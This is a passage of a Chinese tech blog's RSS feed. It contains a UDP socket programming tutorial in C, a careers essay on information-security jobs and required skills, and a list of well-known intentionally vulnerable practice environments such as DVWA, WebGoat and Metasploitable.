#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;
#define PORT 1234 //定义端口号
#define MAXDATASIZE 100 //定义接收缓冲区大小
main()
{
	int sockfd;
	struct sockaddr_in server;
	struct sockaddr_in client;
	socklen_t len;
	int num;
	char buf[MAXDATASIZE];
	/*creating UDP socket*/
	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
	{//调用socket函数，产生UDP套接字。如果出错打印错误信息。
		perror(&quot;Creating socket failed.&quot;);
		exit(1);
	}
	bzero(&amp;amp;server, sizeof(server));//初始化server套接字地址结构，并对地址结构中的成员赋值
	server.sin_family = AF_INET;
	server.sin_port = htons(PORT);
	server.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(sockfd, (struct sockaddr *)&amp;amp;server, sizeof(server)) == -1)
	{//将套接字和指定的协议地址绑定
		perror(&quot;Bind() error.&quot;);
		exit(1);
	}
	len = sizeof(client);
	while(1)
	{
		num = recvfrom(sockfd, buf, MAXDATASIZE, 0, (struct sockaddr *)&amp;amp;client, &amp;amp;len);
		//接收客户端的信息，并存放在buf中，客户端的地址信息存放在client地址结构中。如果成功num返回接收的字符串的长度。
		if (num &amp;lt; 0)
		{
			perror(&quot;recvfrom() error\n&quot;);
			exit(1);
		}
		buf[num]='\0';
		printf(&quot;You got a message &amp;lt;%s&amp;gt; from client.\nIt's ip is %s, port is %d.\n&quot;, buf, inet_ntoa(client.sin_addr), htons(client.sin_port));
		//显示接收到的客户信息、客户的IP地址和端口号。通过inet_ntoa()函数将IP地址转换成可显示的ASCII串，通过htons()函数将端口号转换成网络字节序
		sendto(sockfd, &quot;Welcome\n&quot;, 8, 0, (struct sockaddr *)&amp;amp;client, len);//发送Welcome字符串给客户端
		if (!strcmp(buf, &quot;bye&quot;)) //如果客户端发来的字符串是&quot;bye&quot;，则退出循环
		{
			break;
		}
	}
	close(sockfd);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ucp客户端程序如下udp_clientc&quot;&gt;UCP客户端程序如下(UDP_client.c):&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;
#include &amp;lt;netdb.h&amp;gt;
#define PORT 1234 //这里的端口号要和服务器的端口号一样
#define MAXDATASIZE 100
int main(int argc, char const *argv[])
{
	int sockfd, num;
	char buf[MAXDATASIZE];
	struct hostent *he;
	struct sockaddr_in server, peer;
	socklen_t len;
	if (argc != 3) //检查用户的输入
	{
		printf(&quot;Usage: %s &amp;lt;IP Address&amp;gt;&amp;lt;message&amp;gt;\n&quot;, argv[0]);
		exit(1);
	}
	if ((he = gethostbyname(argv[1])) == NULL)
	{
		printf(&quot;gethostbyname() error\n&quot;);
		exit(1);
	}
	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1){
		//调用socket()函数产生套接字描述符
		printf(&quot;socket() error\n&quot;);
		exit(1);
	}
	bzero(&amp;amp;server, sizeof(server));
	server.sin_family = AF_INET;
	server.sin_port = htons(PORT);
	server.sin_addr = *((struct in_addr *)he-&amp;gt;h_addr); /*he-&amp;gt;h_addr the first ip*/
	sendto(sockfd, argv[2], strlen(argv[2]), 0, (struct sockaddr *)&amp;amp;server, sizeof(server));
	//将用户从命令行输入的消息发送给服务器server
	len = sizeof(server);
	while(1)
	{
		if ((num = recvfrom(sockfd, buf, MAXDATASIZE, 0, (struct sockaddr *)&amp;amp;peer, &amp;amp;len)) == -1)
		//接收服务器发过来的字符串，并保存在buf中。接收的真正字节数被存储在num中，同时peer返回接收服务器的地址
		{
			printf(&quot;recvfrom() error\n&quot;);
			exit(1);
		}
		if (len!= sizeof(server) || memcmp((const void *)&amp;amp;server, (const void *)&amp;amp;peer, len) != 0)
		//由于UDP套接字是无连接的，它可能接收到其他服务器发来的信息，所以应判断信息是否来自于相应的服务器。
		//首先，比较recvfrom()函数调用后返回的地址长度len是否等于结构体server的长度。如果不是，则说明消息来自于其它服务器。
		//然后判断server和peer变量中的内容是否一致。如果一致，则说明收到的消息来自于相应的服务器。
		//注意，server和peer使用memcmp函数进行比较时，首先应转换成常量指针才能使用。
		{
			printf(&quot;Receive message from other server.\n&quot;);
			continue;
		}
		buf[num] = '\0';
		printf(&quot;Server Message: %s.\n&quot;, buf);//显示来自于服务器的信息
		break;
	}
	close(sockfd);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;代码运行截图-1&quot;&gt;代码运行截图&lt;/h3&gt;
&lt;p&gt;可以多个客户端同时向服务器发送消息
&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fww6wj3jx6j30xs0fiwm6.jpg&quot; alt=&quot;UDP代码运行截图&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;connect函数用于udp&quot;&gt;connect函数用于UDP&lt;/h2&gt;
&lt;p&gt;UDP调用connect函数，没有三路握手过程，内核只是记录与之通信的对方的IP地址和端口号，它们包含在传递给connect的套接口地址结构中，并立即返回给调用进程&lt;/p&gt;

&lt;p&gt;调用了connect函数的UDP套接字为&lt;code class=&quot;highlighter-rouge&quot;&gt;已连接UDP套接字&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;UDP程序调用了connect函数，将指定与之通信的对方的IP地址和端口号，只与唯一对方通信，只能使用recv或read接收数据，只能使用send或write发送数据&lt;/p&gt;

&lt;p&gt;详细介绍:
&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fwx2lh2axzj30on0iynka.jpg&quot; alt=&quot;详细介绍&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 15 Oct 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/10/15/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E6%8A%80%E6%9C%AF/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/10/15/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E6%8A%80%E6%9C%AF/</guid>
        
        <category>计算机网络</category>
        
        
      </item>
    
      <item>
        <title>关于信息安全的方向</title>
        <description>&lt;h1 id=&quot;首先说一说方向这个东西&quot;&gt;首先说一说方向这个东西&lt;/h1&gt;

&lt;p&gt;搞安全这个东西，最让人难受的不是哪个点不会，而是不知道自己该学啥，或者自己学了这点东西有啥用，前进的方向是最让人迷的东西。&lt;/p&gt;

&lt;p&gt;那我就先分享一下，我们之后的方向是个什么东西。&lt;/p&gt;

&lt;p&gt;首先请大家忘记渗透和逆向这两个东西，因为安全是一体的，上面两种只是我们小菜的划分，在企业中基本上就分为这么三种：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;安全服务部门&lt;/li&gt;
  &lt;li&gt;安全实验室&lt;/li&gt;
  &lt;li&gt;研发部门&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;安服部门&quot;&gt;安服部门&lt;/h2&gt;

&lt;p&gt;国内安服部门（老板）一般都是做乙方测试，就是第三方测试，也就是通常所说的渗透测试，也是授权测试。&lt;/p&gt;

&lt;p&gt;简单点说，利用除DDOS的攻击方式，检测网站WEB安全，并将这些问题汇总为渗透测试文档。&lt;/p&gt;

&lt;p&gt;通常大家熟悉的各大SRC，可以说就是一种面向互联网的乙方测试。只不过公司中会接收到定向的业务罢了。&lt;/p&gt;

&lt;p&gt;平时会有全国各地的应急响应，所以说出差的事件可能会比较多。在没有应急响应的时候，就可以自己做自己的事情。&lt;/p&gt;

&lt;p&gt;在大部分安全企业中，安服部门直接就变成了渗透部门，里面的人的工作包括乙方测试，漏洞研究，漏洞挖掘。所以说，现在需求比较大的，还是安服部门。&lt;/p&gt;

&lt;h2 id=&quot;安全实验室&quot;&gt;安全实验室&lt;/h2&gt;

&lt;p&gt;在一些企业中，安服部门与安全试验室是分开的，比如腾讯、阿里、360。&lt;/p&gt;

&lt;p&gt;各个企业中安全实验室的工作都是不一样的。我这边用创宇的为例。&lt;/p&gt;

&lt;p&gt;创宇的404是做实时web漏洞分析的，也就是最近爆出了什么样的漏洞，就立刻进行漏洞复现、分析、与poc的编写。比如说这次的Str-2，安全实验室的工作就是第一时间出漏洞检测工具，并给出漏洞防护措施。&lt;/p&gt;

&lt;p&gt;说实话，安全实验室才是分类更为细致的部门：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Web漏洞研究与挖掘&lt;/li&gt;
  &lt;li&gt;二进制漏洞分析与挖掘&lt;/li&gt;
  &lt;li&gt;移动安全&lt;/li&gt;
  &lt;li&gt;硬件安全&lt;/li&gt;
  &lt;li&gt;物联网安全&lt;/li&gt;
  &lt;li&gt;云安全&lt;/li&gt;
  &lt;li&gt;机器学习与安全防护软件&lt;/li&gt;
  &lt;li&gt;大数据的收集与大数据分析&lt;/li&gt;
  &lt;li&gt;工控安全&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中由各个部门所衍生出来的复合型实验室也很好玩，比如说破解ps4啦，搞特斯拉汽车啦。&lt;/p&gt;

&lt;h2 id=&quot;研发部门&quot;&gt;研发部门&lt;/h2&gt;

&lt;p&gt;现在安全企业中的研发部门，一般要求的语言有这么几种：Python、C、C++、C#、java。最流行的是Python，用于大数据的分析。&lt;/p&gt;

&lt;h2 id=&quot;重点来了&quot;&gt;重点来了&lt;/h2&gt;

&lt;p&gt;所以说，说了这么多的废话，总结如下：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;现在搞渗透的童靴，要么，你就去研究漏洞利用的新姿势，要么，你就去挖洞。&lt;/p&gt;

    &lt;p&gt;也就是对应着两个方向渗透测试、web漏洞挖掘。&lt;/p&gt;

    &lt;p&gt;更简单的来说，要么你去搞站（最好是src），要么你去挖洞。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;那么搞逆向的童靴呢？我不是搞逆向的，不能给出明确的答复，但是据我了解，你们可以往这个方向走：&lt;/p&gt;
    &lt;ul&gt;
      &lt;li&gt;二进制方向：
        &lt;ul&gt;
          &lt;li&gt;这个又分为win与linux，现在多数招的是linux，所以往linux方向靠，肯定没问题。&lt;/li&gt;
          &lt;li&gt;接着往底层走，汇编、0day2和漏洞战争好好看。&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;安卓逆向：&lt;/p&gt;

        &lt;p&gt;最近最火的方向之一，这个方向也是可以的。&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其他的东西，可以和德全交流。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;想做安全编程的童靴，Python是必备技能，重要性不多说了。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;做渗透的童靴要学会向二进制走，学二进制的童靴，要懂web，这个是很关键的。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;有点啥公司推荐&quot;&gt;有点啥公司推荐&lt;/h1&gt;

&lt;p&gt;这个其实很多余，但还是说一说。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;川内：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;启明星辰：川内最近成了ADlab成都分部，主要方向是物联网安全、工控安全。偏向于二进制，做web的同学主要是著名cms（wordpress下载量超十万还是百万的插件）的漏洞挖掘。&lt;/li&gt;
      &lt;li&gt;无声（pkav）：算是唯一总部在川内的安全公司，二进制和web都有招，二进制偏向于二进制漏洞挖掘，web偏向乙方测试、漏洞挖掘、ctf&lt;/li&gt;
      &lt;li&gt;360：360在成都是有一个实验室的，主要偏向是移动端安全，要求很高，一般只招正式员工。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;川外（北京）：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;360企业安全部：和360不一样，要求更高，偏向于企业安全，主要为乙方测试，和漏洞研究与漏洞挖掘。&lt;/li&gt;
      &lt;li&gt;360：每年这个时候有360校招，工位蛮多的，应该是有3-4面。&lt;/li&gt;
      &lt;li&gt;知道创宇（去过这边实习后，再去其他地方实习就不怕了）：404实验室，主要是做业务，进行漏洞分析漏洞测试poc漏洞文档，工作强度还是可以的，也从事漏洞挖掘。&lt;/li&gt;
      &lt;li&gt;长亭科技：phithon在的公司，主要是乙方测试。&lt;/li&gt;
      &lt;li&gt;绿盟：甲方测试和乙方测试&lt;/li&gt;
      &lt;li&gt;天融信、华为：硬件防火墙&lt;/li&gt;
      &lt;li&gt;启明星辰的总部：不多说了&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;深圳：
  腾讯：腾讯6面….嗯&lt;/li&gt;
  &lt;li&gt;杭州：
    &lt;ul&gt;
      &lt;li&gt;阿里：阿里6面还是4面…..&lt;/li&gt;
      &lt;li&gt;安恒&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;武汉：
  安天&lt;/li&gt;
  &lt;li&gt;还有各地国安&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;简历写点啥&quot;&gt;简历写点啥&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;会什么语言&lt;/li&gt;
  &lt;li&gt;学校有什么项目（你看上去不重要，其实他们蛮重视的）&lt;/li&gt;
  &lt;li&gt;有木有实战经历（乙方很重视）&lt;/li&gt;
  &lt;li&gt;比赛（今年的SCTF比赛很重要）&lt;/li&gt;
  &lt;li&gt;你的博客，你的博客，你的博客，重要的说三遍&lt;/li&gt;
  &lt;li&gt;学习经历，挖洞经历，分析经历&lt;/li&gt;
  &lt;li&gt;实习经历，更重要&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;还有啥要注意的&quot;&gt;还有啥要注意的&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;使用非Win系统很重要，公司中只要和技术相关的岗位，在工作上都是不允许使用Win的….所以养成工作时用linux是一个好习惯&lt;/li&gt;
  &lt;li&gt;注重总结，有博客的记在博客中，有笔记的记在笔记中，不过更推荐博客一点，企业在看简历的时候，对于你博客的注重程度很高，有加分&lt;/li&gt;
  &lt;li&gt;代码的编写能力很重要，能利用python写工具、写poc。代码最好管理在Github上，同样，方便自己，也能展示自己。&lt;/li&gt;
  &lt;li&gt;紧接上一点，git的使用也是非常重要的，一般团队都有自己的git，如果不会git，也是有点烦的。&lt;/li&gt;
  &lt;li&gt;保持自己不断学习的状态，企业其实在招收实习生的时候，没有对你的技术抱有多大的期待，无论你怎么怎么厉害，到了企业还是得继续学习，所以企业对你的学习能力更加看重，如何在较短的时间进行学习，并将之运用到工作中。企业怎么看你的学习能力呢？一个是你的比赛经历，一个是你发表paper的质量，最后一个就是你的博客更新频率和GitHub频率，可能有点玄学，但就是这样。&lt;/li&gt;
  &lt;li&gt;关注安全圈子里面的事情，关注最新的安全咨询，这个也很重要。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;关于面试什么的&quot;&gt;关于面试什么的&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;首先摆正自己的位置，残酷点说，你现在还没实力选择公司去实习，更不要说选择地方了，而且实习绝对是要额外花钱的，所以想好了，哪里要你，去哪里。&lt;/li&gt;
  &lt;li&gt;就像前面说的一样，公司招实习生，一般对你的能力要求没那么高（春招除外，春招的要求蛮高的），别怕，勇敢投简历就行了，反正我就抱着哪里招我哪里倒霉的想法，在大二暑假混到了实习。&lt;/li&gt;
  &lt;li&gt;还是要提升自己。只有在写简历的时候，才会正视自己到底做了点什么事情，时常反思，对于知识保持饥饿感。&lt;/li&gt;
  &lt;li&gt;对于面试官而言，你是一个入门者，所以尽你所能的答，打错了，不要慌，面试官都是老司机，你尽管说，考到我了，算我输。&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;最后你在实习前起码要有的技能树&quot;&gt;最后，你在实习前起码要有的技能树&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Python3，注意是Python3，Python2随着Django放弃支持Python2而没落，而且不管是渗透、逆向、开发，这是确实是基本的技能。&lt;/li&gt;
  &lt;li&gt;基本的代码阅读能力。只要你进实验室，别管你是干什么的，看代码是肯定的，而且不是我们平时简简单单的单页面六七十行的代码。最简单的就是一个插件的代码，可以尝试去看一下wp的插件代码，逻辑简单，目录也够清晰。复杂的话，就会涉及到框架，一天几千行是算简单的= =。&lt;/li&gt;
  &lt;li&gt;文档能力。不管你是做什么的，写文档都是逃不过的，而在公司中，除了正式的产品式文档，技术人员使用的都是markdown。&lt;/li&gt;
  &lt;li&gt;git能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;web童靴要有的&quot;&gt;Web童靴要有的&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;PHP能力，看PHP代码总比你看Spring Boot的代码好，相信我&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;起码得会写一点PHP吧（比如连接数据库什么的）&lt;/li&gt;
      &lt;li&gt;也起码得知道PHP的一些运作原理吧（比如文件上传的过程）&lt;/li&gt;
      &lt;li&gt;起码得积累点漏洞触发函数吧&lt;/li&gt;
      &lt;li&gt;MVC的基本运行思路&lt;/li&gt;
      &lt;li&gt;PHP的类要熟练&lt;/li&gt;
      &lt;li&gt;能看一下框架就看一下框架，Symfony对应着Drupal，Laravel的强大还有YII等&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;了解基本漏洞产生的原理（SQL注入、XSS、CSRF、SSRF等）&lt;/li&gt;
  &lt;li&gt;基本Web环境配置方式&lt;/li&gt;
  &lt;li&gt;Linux的使用能力&lt;/li&gt;
  &lt;li&gt;Docker能力&lt;/li&gt;
  &lt;li&gt;Python能力，起码得会写个poc。&lt;/li&gt;
  &lt;li&gt;实时关注安全动态的能力&lt;/li&gt;
  &lt;li&gt;写文档的能力&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;以上的如果展开说，就太多了，有的我也没有掌握，大家自行理解。&lt;/p&gt;

</description>
        <pubDate>Mon, 03 Sep 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/09/03/%E5%85%B3%E4%BA%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%9A%84%E6%96%B9%E5%90%91/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/09/03/%E5%85%B3%E4%BA%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%9A%84%E6%96%B9%E5%90%91/</guid>
        
        <category>web安全</category>
        
        
      </item>
    
      <item>
        <title>常见渗透测试靶场系统</title>
        <description>&lt;h1 id=&quot;owasp-broken-web-apps&quot;&gt;OWASP Broken Web Apps&lt;/h1&gt;

&lt;p&gt;分享渗透测试演练环境，里面继承了57个数据库的渗透测试环境。包括aspx,asp,php,jsp等等各种演练环境。&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;http://pan.baidu.com/s/1o7VQPZk密码：09qz&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;常见靶场&quot;&gt;常见靶场&lt;/h1&gt;

&lt;h2 id=&quot;dvwa-dam-vulnerable-web-application&quot;&gt;DVWA (Dam Vulnerable Web Application)&lt;/h2&gt;

&lt;p&gt;DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://www.dvwa.co.uk&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;##mutillidaemutillidae&lt;/p&gt;

&lt;p&gt;mutillidaemutillidae是一个免费，开源的Web应用程序，提供专门被允许的安全测试和入侵的Web应用程序。它是由Adrian “Irongeek” Crenshaw和Jeremy “webpwnized” Druin.开发的一款自由和开放源码的Web应用程序。其中包含了丰富的渗透测试项目，如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等.&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://sourceforge.net/projects/mutillidae&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;sqlol&quot;&gt;SQLol&lt;/h2&gt;

&lt;p&gt;SQLol是一个可配置得SQL注入测试平台，它包含了一系列的挑战任务，让你在挑战中测试和学习SQL注入语句。此程序在Austin黑客会议上由Spider Labs发布。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;https://github.com/SpiderLabs/SQLol&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;hackxor&quot;&gt;hackxor&lt;/h2&gt;

&lt;p&gt;hackxor是由albino开发的一个online黑客游戏,亦可以下载安装完整版进行部署,包括常见的WEB漏洞演练。包含常见的漏洞XSS、CSRF、SQL注入、RCE等。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://sourceforge.net/projects/hackxor&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;bodgeit&quot;&gt;BodgeIt&lt;/h2&gt;

&lt;p&gt;BodgeIt是一个Java编写的脆弱性WEB程序。他包含了XSS、SQL注入、调试代码、CSRF、不安全的对象应用以及程序逻辑上面的一些问题。&lt;/p&gt;

&lt;h2 id=&quot;exploit-kb&quot;&gt;Exploit KB&lt;/h2&gt;

&lt;p&gt;该程序包含了各种存在漏洞的WEB应用，可以测试各种SQL注入漏洞。此应用程序还包含在BT5里&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://exploit.co.il/projects/vuln-web-app&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;wackopicko&quot;&gt;WackoPicko&lt;/h2&gt;

&lt;p&gt;WackoPicko是由Adam Doupé.发布的一个脆弱的Web应用程序，用于测试Web应用程序漏洞扫描工具。它包含了命令行注射、sessionid问题、文件包含、参数篡改、sql注入、xss、flash form反射性xss、弱口令扫描等。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;https://github.com/adamdoupe/WackoPicko&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;webgoat&quot;&gt;WebGoat&lt;/h2&gt;

&lt;p&gt;WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序，这些漏洞并非程序中的bug，而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境，为用户完成课程提供了有关的线索。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://code.google.com/p/webgoat&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;owasp-hackademic&quot;&gt;OWASP Hackademic&lt;/h2&gt;

&lt;p&gt;OWASP Hackademic是由OWASP开发的一个项目，你可以用它来测试各种攻击手法，目前包含了10个有问题的WEB应用程序。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;https://code.google.com/p/owasp-hackademic-challenges&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;xsseducation&quot;&gt;XSSeducation&lt;/h2&gt;

&lt;p&gt;XSSeducation是由AJ00200开发的一套专门测试跨站的程序。里面包含了各种场景的测试。&lt;/p&gt;

&lt;p&gt;链接地址： &lt;code class=&quot;highlighter-rouge&quot;&gt;http://wiki.aj00200.org/wiki/XSSeducation&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;google-xss-游戏&quot;&gt;Google XSS 游戏&lt;/h2&gt;

&lt;p&gt;Google推出的XSS小游戏&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;https://xss-game.appspot.com/&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;web-for-pentester&quot;&gt;Web for Pentester&lt;/h2&gt;

&lt;p&gt;web for pentester是国外安全研究者开发的的一款渗透测试平台，通过该平台你可以了解到常见的Web漏洞检测技术。具体包括 XSS跨站脚本攻击, SQL注入, 目录遍历. 命令注入, 代码注入, XML攻击, LDAP攻击, 文件上传 以及一些指纹识别技术&lt;/p&gt;

&lt;h2 id=&quot;dvwa-wooyun乌云靶场&quot;&gt;DVWA-WooYun（乌云靶场）&lt;/h2&gt;

&lt;p&gt;DVWA-WooYun是一个基于DVWA的PHP+Mysql漏洞模拟练习环境，通过将乌云主站上的有趣漏洞报告建模，以插件形式复现给使用该软件的帽子们，可以让乌云帽子们获得读报告体验不到的真实感，在实践的过程中可以无缝隙地深入理解漏洞的原理及利用方式 中英双字，如果您语文学的不好不必担心了，界面提示英文的（DVWA原厂），内容提示中英双字（后来觉得比较眼花，所以去掉了部分英文）&lt;/p&gt;

&lt;h2 id=&quot;metasploitable&quot;&gt;Metasploitable&lt;/h2&gt;

&lt;p&gt;著名的渗透框架 Metasploit 出品方 rapid7 还提供了配置好的环境 Metasploitable，是一个打包好的操作系统虚拟机镜像，使用 VMWare 的格式。可以使用 VMWare Workstation（也可以用免费精简版的 VMWare Player ）“开机”运行。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;https://information.rapid7.com/metasploitable-download.html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;下载地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;owasp-broken-web-applications-project&quot;&gt;OWASP Broken Web Applications Project&lt;/h2&gt;

&lt;p&gt;跟 Metasploitable 类似，这也是打包好的虚拟机镜像，预装了许多带有漏洞的 Web 应用，有真实世界里的流行网站应用如 Joomla, WordPress 等的历史版本（带公开漏洞），也有 WebGoat, DVWA 等专门用于漏洞测试的模拟环境。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;https://code.google.com/p/owaspbwa/&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;xctf_oj&quot;&gt;XCTF_OJ&lt;/h2&gt;

&lt;p&gt;XCTF-OJ （X Capture The Flag Online Judge）是由 XCTF 组委会组织开发并面向 XCTF 联赛参赛者提供的网络安全技术对抗赛练习平台。XCTF-OJ 平台将汇集国内外 CTF 网络安全竞赛的真题题库，并支持对部分可获取在线题目交互环境的重现恢复，XCTF 联赛后续赛事在赛后也会把赛题离线文件和在线交互环境汇总至 XCTF-OJ 平台，形成目前全球 CTF 社区唯一一个提供赛题重现复盘练习环境的站点资源。&lt;/p&gt;

&lt;p&gt;链接地址:&lt;code class=&quot;highlighter-rouge&quot;&gt;http://oj.xctf.org.cn/&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;pwnablekr&quot;&gt;PWNABLE.KR&lt;/h2&gt;

&lt;p&gt;以上都是网页服务器安全相关的靶场，再推荐一个练习二进制 pwn 的网站：Pwnable.kr。pwnable 这类题目在国外 CTF 较为多见，通常会搭建一个有漏洞（如缓冲区溢出等）的 telnet 服务，给出这个服务后端的二进制可执行文件让答题者逆向，简单一点的会直接给源代码，找出漏洞并编写利用程序后直接攻下目标服务获得答案。这个网站里由简到难列出了许多关卡，现在就上手试试吧。&lt;/p&gt;

&lt;p&gt;链接地址：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://pwnable.kr/%3Fp%3Dprobs&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;hackazon---rapid7-开源的-web-漏洞练习框架类似-hacksys-的-hevd&quot;&gt;&lt;a href=&quot;https://github.com/rapid7/hackazon&quot;&gt;Hackazon - Rapid7 开源的 Web 漏洞练习框架，类似 Hacksys 的 HEVD&lt;/a&gt;&lt;/h2&gt;

&lt;h1 id=&quot;后期补充&quot;&gt;后期补充&lt;/h1&gt;

&lt;h2 id=&quot;zvuldrill靶场二次开发&quot;&gt;&lt;a href=&quot;https://github.com/redBu1l/ZVulDrill&quot;&gt;ZVulDrill靶场二次开发&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&quot;zvuldrill靶场&quot;&gt;&lt;a href=&quot;https://github.com/710leo/ZVulDrill&quot;&gt;ZVulDrill靶场&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&quot;sqli-labs&quot;&gt;&lt;a href=&quot;https://github.com/Audi-1/sqli-labs&quot;&gt;sqli-labs&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&quot;dvwa&quot;&gt;&lt;a href=&quot;https://github.com/ethicalhack3r/DVWA&quot;&gt;DVWA&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&quot;btslab&quot;&gt;&lt;a href=&quot;https://github.com/CSPF-Founder/btslab&quot;&gt;btslab&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;或者&lt;code class=&quot;highlighter-rouge&quot;&gt;http://www.2cto.com/article/201410/341409.html&lt;/code&gt;&lt;/p&gt;

